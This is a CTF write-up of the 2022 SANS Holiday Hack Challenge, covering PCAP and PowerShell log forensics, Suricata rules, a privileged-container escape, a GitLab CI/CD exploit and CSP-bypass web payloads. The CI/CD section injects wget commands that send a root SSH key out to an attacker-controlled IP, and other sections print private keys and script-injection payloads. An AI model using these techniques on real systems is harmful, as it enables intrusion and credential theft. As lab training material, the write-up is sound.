This page looks best with JavaScript enabled

KringleCon 5: Golden Rings

The 2022 SANS HolidayHack Challenge

 ·  ☕ 42 min read  ·  🎅 noobintheshell
The SANS Holiday Hack Challenge is back! And with it, the long awaited fifth edition of KringleCon!
This year challenges were covering logs and PCAP analysis, CI/CD vulnerabilities, a container escape, webapp hacking (XXE, CSP bypass), an introduction to AWS CLI for cloud discovery and an introduction to smart contracts.
KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. The same Discord channel as last year was available to interact with the community.
A special thanks goes to the whole Counter Hack team for their constant effort to make this available to the community!

Objectives

Every year, we start with a pre-objective called KringleCon Orientation that helps us starting the journey to save the Holiday Season from villains! The main task here is to create a KringleCoin wallet. We will see in the last objective what this is and what will be its usage.

KringleCoin wallet creation
KringleCoin wallet creation

1 - Recover the Tolkien Ring


1.1 Wireshark Practice

Difficulty Objective Location
1/5 Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal. Tolkien Ring

We are given a suspicious PCAP file to analyze and 7 questions to answer.

In Wireshark, this can be seen in the menu File -> Export Objects -> HTTP. We can save the files to disk for further investigation.

Wireshark - export *HTTP* objects
Wireshark - export *HTTP* objects

We can export as well all HTTP files with tshark. For instance, to extract all HTTP files in the current folder, we can run:

$ tshark -Q -r suspicious.pcap --export-object http,.

Answer: HTTP

As we can see highlighted in the previous question, the biggest file is 808 kB big.

Answer: app.php

As we can see highlighted in question 1, the file is found in packet 687.

Answer: 687

There are multiple ways to get the IP address. One of them is to look for the DNS queries for the webserver adv.epostoday.uk:

Wireshark - DNS query
Wireshark - DNS query

Or with tshark:

$ tshark -r suspicious.pcap -Y 'dns.qry.name == "adv.epostoday.uk"'

Answer: 192.185.57.242

If we download the app.php file we can see that in its source code. A base64 encoded bytestring is decoded and saved on disk as Ref_Sept24-2020.zip:

Wireshark - app.php
Wireshark - app.php

Answer: Ref_Sept24-2020.zip

We can filter all TLS packets that have a country code and remove all the legitimate calls to Microsoft services with the following filter: (x509sat.CountryName) && (not x509sat.printableString contains "Microsoft"). We see 2 countries, Israel and South Sudan.

With tshark:

$ tshark -r suspicious.pcap -Y '(x509sat.CountryName) && (not x509sat.printableString contains "Microsoft")' -T fields -e x509sat.CountryName | uniq
IL,IL
SS,SS

Answer: Israel, South Sudan

The user has probably received a phishing email containing a malicious link to http://adv.epostoday.uk/app.php. Once clicked, the script downloads the file Ref_Sept24-2020.zip. We can recreate the ZIP file from the encoded payload in the app.php source code with the following commands:

$ BYTES="UEsDBBQAAAAIAFCjN1FIq7H4ezsJAIN6CwATAAAAUmVmX1NlcHQyNC[…]"
$ echo $BYTES | base64 -D > Ref_Sept24-2020.zip

The ZIP file contains a malicious SCR executable (do not execute it, it’s a real malware). If we analyze the executable online, we see this is the Dridex installer. Once the user executed it, it started to communicate with the C2 servers through TLS. The 2 malicious IP addresses are 62.98.109.30 (SS) and 151.236.219.181 (IL).

Unit42 - Dridex infection
Unit42 - Dridex infection

Answer: Yes

1.2 Windows Event Logs

Difficulty Objective Location
2/5 Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal. Tolkien Ring

We are given a Powershell event log to analyze this time. The description of the challenge mentions that a keylogger was downloaded to gather admin credentials and that Powershell was used to retrieve a secret recipe for Lembanh. We need to recover the secret ingredient that was stolen.

We can start by converting the EVTX file to JSON to parse it more easily. We can use evtx_dump from this repo and convert it with:

$ ./evtx_dump --dont-show-record-number -o json -f powershell.json powershell.evtx

We then have to answer to 10 questions.

Let’s take the very first event of the logs to get the main attributes of a Windows event:

jq -s '.[0]' powershell.json
jq -s '.[0]' powershell.json

The SystemTime value could be a good indicator of when the attack took place. The attack could have been noisy and generated lots of logs. The following command retrieves all SystemTime values that are not null, extracts only the year-month-day value and count them:

jq -s '.. |.SystemTime? | select(. != null) | split("T")[0]' powershell.json | sort | uniq -c
jq -s '.. |.SystemTime? | select(. != null) | split("T")[0]' powershell.json | sort | uniq -c

The day with the most hits is on Christmas Eve.

Answer: 12/24/2022

We can list all the commands that were logged with:

$ jq -s '.. | .ScriptBlockText? | select(. != null) | select(. != "prompt")' powershell.json

Powershell commands
Powershell commands

We can see that the attacker reads first the content of the Recipe file and then tries to replace some content with another before storing the result in a new file recipe_updated.txt.

Answer: Recipe

As we saw in the previous question, the variable where the content of the file is retrieved is $foo. Let’s select those lines only with:

$ jq -s '.. | .ScriptBlockText? | select(. != null) | select(contains("$foo"))' powershell.json

$foo variable
$foo variable

Answer: $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

If we retake the previous screenshot, we see that the content of $foo is then written into 2 new files, recipe_updated.txt and Recipe.txt and finally appended to the original file Recipe as well.

Answer: $foo | Add-Content -Path 'Recipe'

Still on the last screenshot, we can see it was done 3 times on Recipe.txt.

Answer: Recipe.txt

We can look for the Remove-Item command in the Payload field with:

jq -s '.. | .Payload? | select(. != null) | select(contains("Remove-Item"))' powershell.json
jq -s '.. | .Payload? | select(. != null) | select(contains("Remove-Item"))' powershell.json

or the del command in the ScriptBlockText field:

jq -s '.. | .ScriptBlockText? | select(. != null) | select(contains("del "))' powershell.json
jq -s '.. | .ScriptBlockText? | select(. != null) | select(contains("del "))' powershell.json

Answer: Yes

The original file was Recipe and was not deleted as we can see in the 2 previous screenshots.

Answer: No

The actual command that was ran to delete the files is del. We can grep the logs to retrieve the Event ID as follows:

grep -i "del " -A 10 powershell.json
grep -i "del " -A 10 powershell.json

Answer: 4104

In question 2, we saw that the attacker initially did a cat ./Recipe. Therefore he saw the secret ingredient.

Answer: Yes

From the result of the cat ./Recipe we can retrieve the initial recipe. We have to look for the Out-Default Powershell command that is executed after each command that outputs a result.

We can narrow down the results as we know the recipe is about Lembanh with:

$ jq -s '.. | .Payload? | select(. != null) | select(contains("Out-Default")) | select(contains("Lembanh"))' powershell.json | head -1

We can then reconstruct the orginal recipe:

Recipe from Mixolydian, the Queen of Dorian
Lembanh Original Recipe

2 1/2 all purpose flour
1 Tbsp baking powder
1/4 tsp salt
1/2 c butter
1/3 c brown sugar
1 tsp cinnamon
1/2 tsp honey (secret ingredient)
2/3 c heavy whipping cream
1/2 tsp vanilla extract
Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.
Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.
Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet. Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).
Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.
Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices

The attacker tried to replace the secret honey ingredient with fish oil as part of his attack.

Answer: honey

1.3 Suricata Regatta

Difficulty Objective Location
3/5 Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints. Tolkien Ring

In this terminal challenge, we are tasked to create multiple Suricata rules to block the C2 traffic we analyzed in the first challenge. The rules must be create in the /home/elf/suricata.rules and can be tested by running /home/elf/rule_checker.

The Suricata documentation can help here: https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html. We can as well take example of the other rules already configured in /home/elf/suricata.rules.

We need a filter on the dns protocol for dns_query that look for the malicious website. This translates into:

alert dns any any -> any any (msg:“Known bad DNS lookup, possible Dridex infection”; dns_query; content:“adv.epostoday.uk”; sid:1337; rev:1;)

Here the rule must be bidirectional. We can use the non-directional marker <>.

alert http 192.185.57.242 any <> $HOME_NET any (msg:“Investigate suspicious connections, possible Dridex infection”; sid:1338; rev:1;)

This one is a little more tricky. We can check for the certificate issuer.

alert tls any any -> any any (msg:“Investigate bad certificates, possible Dridex infection”; tls.cert_issuer; content:“heardbellith.Icanwepeh.nagoya”; nocase; isdataat:!1,relative; sid:1340;)

Nothing fancy here. the file_data keyword can inspect base64 encoded strings by default.

alert http any any -> any any (msg:“Suspicious JavaScript function, possible Dridex infection”; file_data; content:“let byteCharacters = atob”;)

2 - Recover the Elfen Ring


2.1 Clone with a Difference

Difficulty Objective Location
1/5 Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. Elfen Ring

The goal here is to clone a Git repository and get the last word of README.md file. We are initially asked to do it with the following command:

$ git clone git@haugfactory.com:asnowball/aws_scripts.git

This fails with the following error:

git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

We tried to clone the repository through SSH and our public SSH key is probably not allowed in the repository. Another way to clone repositories is through HTTP/S. We can simply do:

$ git clone http://haugfactory.com/orcadmin/aws_scripts.git
$ cd aws_scripts
$ tail README.md

Answer: maintainers

2.2 Prison Escape

Difficulty Objective Location
3/5 Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv? Elf House

For this challenge, the goal is to escape from a jailed process and access the host system to read the file /home/jailer/.ssh/jail.key.priv.

Let’s start with some discovery. First of all we need to determine in what kind of “jail” we are in. The mountcommand shows that we are in a Docker container. We can see that in the different overlay paths containing the word docker:

$ mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/UP3VWCCMOBLFUPP53LKFFELBQT:/var/lib/docker/overlay2/l/NYZRV6EE566LD3JY5Q7TIGWA42:/var/lib/docker/overlay2/l/247PETFPQ5W6UFKOLGLHQKDZPJ:/var/lib/docker/overlay2/l/JB62BUPPTFNFFOYJEUX26WS7VB:/var/lib/docker/overlay2/l/PWCREWRWPOFAZ475PVNTWKI3BA:/var/lib/docker/overlay2/l/QWVRNL7TBRSVRQNV6PU4GO4JXT:/var/lib/docker/overlay2/l/TWFXPHIQZBGAT4C6T6HJIIKJ44:/var/lib/docker/overlay2/l/G5OWW3UAAB5JJFUI4JGTWSHKAZ:/var/lib/docker/overlay2/l/I32VFD5VVO2ECSFVS2GNQKA3Q4:/var/lib/docker/overlay2/l/PKZQSCTMKHO2R432Q2EID56KNP,upperdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/diff,workdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/root on /config type ext4 (rw,relatime)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime)
/dev/root on /etc/hostname type ext4 (rw,relatime)
/dev/root on /etc/hosts type ext4 (rw,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

The same can be achieved with:

$ cat /proc/1/cgroup
11:cpuset:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
10:devices:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
9:blkio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
8:hugetlb:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
7:memory:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
6:cpu,cpuacct:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
5:net_cls,net_prio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
4:perf_event:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
3:freezer:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
2:pids:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
1:name=systemd:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
0::/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d

Next step is to define what are our privileges in the container. We run as user samways but we have high sudoer privileges:

$ id
uid=1000(samways) gid=1000(users) groups=1000(users)
$ sudo -l
User samways may run the following commands on grinchum-land:
(ALL) NOPASSWD: ALL
$ sudo su

A good indicator of a privileged container is to list /dev and check if we see the host’s device files (disk, ttys, loops, etc.). And this is the case here. We can as well list the host disks with:

$ sudo fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

We can confirm the high privileges as well by checking the capabilities the container has with:

$ grep Cap /proc/1/status
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

0x3fffffffff means ALL the capabilities which translates into a privileged container.

For more information about Linux capabilities, you can read https://tbhaxor.com/understanding-linux-capabilities/ and https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities.

With access to the host /dev, we can mount the host disk in the container and interact with it:

$ sudo su
# mkdir /tmp/host
# mount /dev/vda /tmp/host/
# cd /tmp/host
# ls -la home
total 12
drwxr-xr-x 3 root root 4096 Dec 1 19:12 .
drwxr-xr-x 18 root root 4096 Sep 28 22:40 ..
drwxr-xr-x 3 root root 4096 Dec 1 19:12 jailer

And we can read the private key of the user jailer:

/home/jailer/.ssh/jail.key.priv
/home/jailer/.ssh/jail.key.priv

Answer: 082bb339ec19de4935867

2.3 Jolly CI/CD

Difficulty Objective Location
5/5 Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring. Elf House

This challenge is about expoiting a Gitlab CI/CD pipeline. We are given an internal Gitlab project: http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git and we know as well that each commit will automatically trigger a GitLab runner that will automatically deploy the changes to production.

Let’s start by cloning the given project:

The pipeline configuration is found in the file .gitlab-ci.yml:

$ cat .gitlab-ci.yml
stages:
  - deploy

deploy-job:
  stage: deploy
  environment: production
  script:
    - rsync -e “ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy” --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

We see that the root SSH private key path is leaked and can be found in /etc/gitlab-runner/hhc22-wordpress-deploy. It is used to sync the modified files in the production webserver.

If we try to commit something, we get the following error:

Author identity unknown

*** Please tell me who you are.

Run

  git config --global user.email “you@example.com
  git config --global user.name “Your Name”

to set your account’s default identity.
Omit --global to set the identity only in this repository.

fatal: empty ident name (for samways@grinchum-land.flag.net.internal) not allowed

So we configure our Git user:

$ git config --global user.email samways@grinchum-land.flag.net.internal
$ git config --global user.name "samways"

We can now commit but when we push the change we need to provide a username/password that we do not have. When looking at the commit history, we can see a weird whoops comment in a commit:

$ git log
Author: knee-oh sporx@kringlecon.com
Date: Wed Oct 26 13:58:15 2022 -0700

    updated wp-config
[…]
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh sporx@kringlecon.com
Date: Tue Oct 25 13:42:54 2022 -0700

    whoops
[…]

We print the commit changes to see if anything went wrong:

$ git show e19f653bde9ea3de6af21a587e41e7a909db1ca5

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh sporx@kringlecon.com
Date: Tue Oct 25 13:42:54 2022 -0700

    whoops

diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY------
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY------
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

An SSH private and public key were pushed to Gitlab and this commit deletes both files! We configure this key for our local user and clone again the repo using SSH this time:

$ mkdir .ssh
$ vim .ssh/id_ed25519 # write the private key
$ chmod 400 .ssh/id_ed25519
$ rm -Rf wordpress.flag.net.internal
$ git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git

This time we can push changes to the repo without being asked for a username/password! The idea here would be to modify the pipeline config to leak some Gitlab server data to our host/container. First we get our IP address with hostname -i and try a basic curl back to our host. We add the following line to the script section of the .gitlab-ci.yml file:

- curl “http://172.18.0.99/$(id)”

We commit, push, start a local web listener and wait for a ping:

$ git add --all && git commit -m "test1" && git push && python3 -m http.server 80

No ping, let’s replace curl with wget just in case curl is not installed. And this time, we get a call back leaking the output of the id command:

command execution
command execution

Now let’s leak the root SSH private key. We replace the script command with:

- wget “http://172.18.0.99/$(base64 /etc/gitlab-runner/hhc22-wordpress-deploy)”

And a few seconds after the push, we get the private key:

webserver root private SSH key
webserver root private SSH key

We need to strip the superfluous %0A characters and we can save it:

$ echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEOEVZZFpUT3BmNVJFdVdYTWI5RktDRldvaUlYMkhvVTFhSDkwVjBQdHEzd0FBQUppTVhyMEJqRjY5CkFRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRDhFWWRaVE9wZjVSRXVXWE1iOUZLQ0ZXb2lJWDJIb1UxYUg5MFYwUHRxM3cKQUFBRUJ0TkU2c3FPRm9xa21PaGNCLzlEZ3phUWhRUkMvYndrQWJzQlh3cXJ0L21Qd1JoMWxNNmwvbEVTNVpjeHYwVW9JVgphaUloZlllaFRWb2YzUlhRKzJyZkFBQUFGSE53YjNKNFFHdHlhVzVuYkdWamIyNHVZMjl0QVE9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K" | base64 -d > priv

We can now use it to connect to the webserver as root and retrieve the flag at the root of the filesystem:

$ chmod 400 priv
$ ssh -i priv root@wordpress.flag.net.internal

We can now simply read the /flag.txt file:

flag.txt
flag.txt

Answer: oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT

3 - Recover the Web Ring


3.1 Boria PCAP Mining

We are given a new PCAP file and the error log file of a webserver to analyze. The webserver supposedly went through an attack and we must investigate what happened by answering a few questions. From the error log we can already know the webserver IP address:

* Running on http://10.12.42.16:8000

And from the PCAP file, if we filter only the http requests, we see that our website is http://toteslegit.us.

3.1.1 Naughty IP
Difficulty Objective Location
1/5 Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints. Web Ring

If we look at the Statistics -> Conversation menu, we see that one IP address generates a lot of traffic with the webserver, which can is shady and probably the attacker’s IP address:

Wireshark - Conversations
Wireshark - Conversations

Answer: 18.222.86.32

3.1.2 Credential Mining
Difficulty Objective Location
1/5 The first attack is a brute force login. What’s the first username tried? Web Ring

The error log shows that the login page is /login.html. We can use the following Wireshark filter to get all the attacker attempts:

(ip.src == 18.222.86.32) && (http.request.method == “POST”) && (http.request.uri == “/login.html”)

We have 910 POST requests and the first try is packet #7279:

Wireshark - packet 7279
Wireshark - packet 7279

The password list is quite short and has 101 password. The users that are tested are:

alice
bob
charlie
daniel
edward
felicia
goran
horatio
ingrid

Most of the tries end up with the following message: Invalid username or password.
But there is 1 successful try and we can see at the end of the scan (packet #21457), there is a successful login with bob:passw0rd and the attacker accesses the admin interface:

Wireshark - TCP stream 1811
Wireshark - TCP stream 1811

Answer: alice

3.1.3 404 FTW
Difficulty Objective Location
1/5 The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack? Web Ring

A directory brute-force is performed by the attacker and we can see it with the following filter: (http.request.method == "GET") && (ip.src == 18.222.86.32). This phase starts with tcp stream 1987 and ends with stream 2449 and there are 451 tries.

We can get all the webserver successful responses with the filter ((http.response.code == 200) && (ip.dst == 18.222.86.32)) && (tcp.stream >= 1987) && (tcp.stream <= 2449). We get 2 hits:

Wireshark - directory brute-force
Wireshark - directory brute-force

The /proc page is the first one to be discovered and only shows the message Post XML here. The /maintenance.html page seems to have ping command feature…we will never know if it is vulnerable to command injections ;)

Wireshark - /maintenance.html
Wireshark - /maintenance.html

Answer: /proc

3.1.4 IMDS, XXE, and Other Abbreviations
Difficulty Objective Location
3/5 The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch? Web Ring

The attacker used a vulnerability in the /proc page to exploit an XXE vulnerability. We can follow the steps of the attacker with this filter:

((http.request.method == “POST”) && (ip.src == 18.222.86.32)) && (http.request.uri == “/proc”)

If we follow the HTTP streams for each call we see:

  1. tcp stream 2699: test if system commands can be ran…they can’t:
Wireshark - TCP stream 2699
Wireshark - TCP stream 2699
  1. tcp stream 2730: test if system files can be read…they can:
Wireshark - TCP stream 2730
Wireshark - TCP stream 2730
  1. tcp stream 2762: test if remote hosts can be called (SSRF)…they can:
Wireshark - TCP stream 2762
Wireshark - TCP stream 2762
  1. tcp stream 2801: test if the cloud provider metadata service is reachable…it is:
Wireshark - TCP stream 2801
Wireshark - TCP stream 2801

The following call is done on http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ (stream 2838) and the result shows the folder info and security-credentials. Next query is to http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials (stream 2875) that returns the identity role name of the host: ec2-instance. Last query is done with the role name to get the host credentials (stream 2907):

Wireshark - TCP stream 2907
Wireshark - TCP stream 2907

With those credentials, we can impersonate the EC2 instance and do AWS calls with the same permissions as the instance.

Answer: http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

3.2 Open Boria Mine Door

Difficulty Objective Location
3/5 Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge. Web Ring

This is a Javascript challenge where we have some locks to unlock by creating a path between the left and right pin(s). Some doors have a Content Security Policy (CSP) that we need to bypass.

CAPTCOA
CAPTCOA

Each door is an iframe pointing to https://hhc22-novel.kringlecon.com/pin<number> and the goal is to link them all. We need to pay attention to the pins' color as well:

CAPTCOA
CAPTCOA
Lock 1

For this first lock, we can simply look at the source code of the page and see a comment: <!-- @&@&&W&&W&&&& -->. We unlock it by entering this string in the edit box:

Lock 1 unlocked
Lock 1 unlocked
Lock 2

The source code of the second pin show the following CSP:

<meta http-equiv=“Content-Security-Policy” content=“default-src ‘self’;script-src ‘self’;style-src ‘self’ ‘unsafe-inline’">

If we translate theabove in human terms:

  • The default-src directive defines the default policy for fetching JS, images, CSS, etc. resources.
  • The script-src directive defines what are the valid sources of Javascript.
  • The style-src directive defins what are the valid sources of CSS.
  • The source list self allows loading resources from the same origin (scheme, host and port).
  • The source list unsafe-inline allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs.

In other words, we can use in-line HTML tags with inline CSS. So we can write any text, make sure to have a big size as the pins are not on the same horizontal line, translate it down and make sure the letter spacing is negative so all the letters will touch. This is one possible solution:

<h3 style="font-size:4.5em;translate:-30px -100px;letter-spacing: -10px;">&&&&&&&</h3>

Another solution, this time involving text rotation and the same text as for pin 1 could be:

<h3 style="translate:12px 35px;transform: rotate(25deg);transform-origin: top left;">@&@&&W&&W&&&&</h3>
Lock 2 unlocked
Lock 2 unlocked
Lock 3

For the third lock, the CSP is:

<meta http-equiv=“Content-Security-Policy” content=“script-src ‘self’ ‘unsafe-inline’; style-src ‘self’">

This means we cannot use inline CSS anymore, however, we can use inline Javascript! The idea here is to apply the CSS through JS and make sure the text color is blue. Here are 2 possible solutions:

<script>document.write("<div id=\"t\">&@&@&&W&&W&&&&&&</div>"); var element = document.getElementById("t"); element.style="translate:-8px 42px; transform:rotate(-22deg); letter-spacing: -5px; color:blue;";</script>

or

<script>document.write("<div id=\"t\">WWWWW</div>"); var element = document.getElementById("t"); element.style="font-size:4.5em;translate:-50px -40px;letter-spacing: -10px;color:blue;";</script>

Lock 3 unlocked
Lock 3 unlocked

At this point we have passed the challenge…but there are 3 bonus locks to unlock!

Bonus - Lock 4

For this one, there is no CSP but the following input sanitization function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<script>
  const sanitizeInput = () => {
  const input = document.querySelector('.inputTxt');
  const content = input.value;
  input.value = content
    .replace(/"/, '')
  .replace(/'/, '')
  .replace(/</, '')
  .replace(/>/, '');
}
</script>

Some characters are stripped. However, only the first occurrence of those characters are stripped. Therefore, the following input bypasses the check and unlock the lock:

<>'"<h1>WWWWVV</h1><h1 style="color:blue;translate:0px -30px;">WWWWWVV</h1>
Lock 4 unlocked
Lock 4 unlocked
Bonus - Lock 5

Here we have the same CSP as Lock 3 and the input sanitization function has changed to strip now all occurrences of the characters. What saves us here is that the input validation is only done client-side. We can intercept the with our favourite proxy (e.g. Burp) and send out input directly to the server without being validated.

A possible solution would be:

<script>document.write("<div id=\"t\">WWWWWWW</div>");var element = document.getElementById("t");element.style="font-size:2em;translate:8px 80px;transform:rotate(-25deg);letter-spacing: -10px;color:blue;"; document.write("<div id=\"v\">WWWWWWWWWWWW</div>");var element = document.getElementById("v");element.style="font-size:2em;translate:-20px -30px;transform:rotate(-25deg);letter-spacing: -10px;color:red;";</script>
Lock 5 unlocked
Lock 5 unlocked
Bonus - Lock 6

The last lock has a more restrictive CSP:

<meta http-equiv=“Content-Security-Policy” content=“script-src ‘self’; style-src ‘self’">

We cannot use in-line CSS not Javascript. Let’s use HTML SVG graphics for this one as they do no involve JS not CSS to manipulate shapes and colors. We can keep thinks simple and create basic rectangles of the appropriate color. A solution would be:

<svg height="200px"width="100%"><rect fill="#0000FF" width="100%" x=0px y=115px height="100%"/><rect fill="#00FF00" width="100%" x=0px y=25px height="10%"/><rect fill="#FF0000" width="100%" x=0px y=55px height="30%"/></svg>
Lock 6 unlocked
Lock 6 unlocked

Notice that we could have used SVG for all other locks similarly to bypass CSP.

3.3 Glamtariel’s Fountain

Difficulty Objective Location
5/5 Stare into Glamtariel’s fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints. Fountain

We are presented with a website where we can drag and drop images either on the Glamtariel character or on the fountain image. This will result each time in different text outputs.

Glamtariel's Fountain
Glamtariel's Fountain

Once we have dragged and drop the 4 images on both Glamtariel and the fountain, we have 4 new images with new text outputs. Then another 4. The outputs can give us hints on how to solve the challenge. The hints are showed in CAPITAL letters and they are the following:

TAMPER
PATH
APP
TYPE
SIMPLE FORMAT
RINGLIST
TRAFFIC FLIES

The messages says that Glamtariel keeps a secret RINGFILE list that is in a SIMPLE FORMAT file. The goal is to find the secret PATH where the RINGLIST file is hidden and try to get its content. Glamtariel says as well that she speaks many different TYPE of languages.

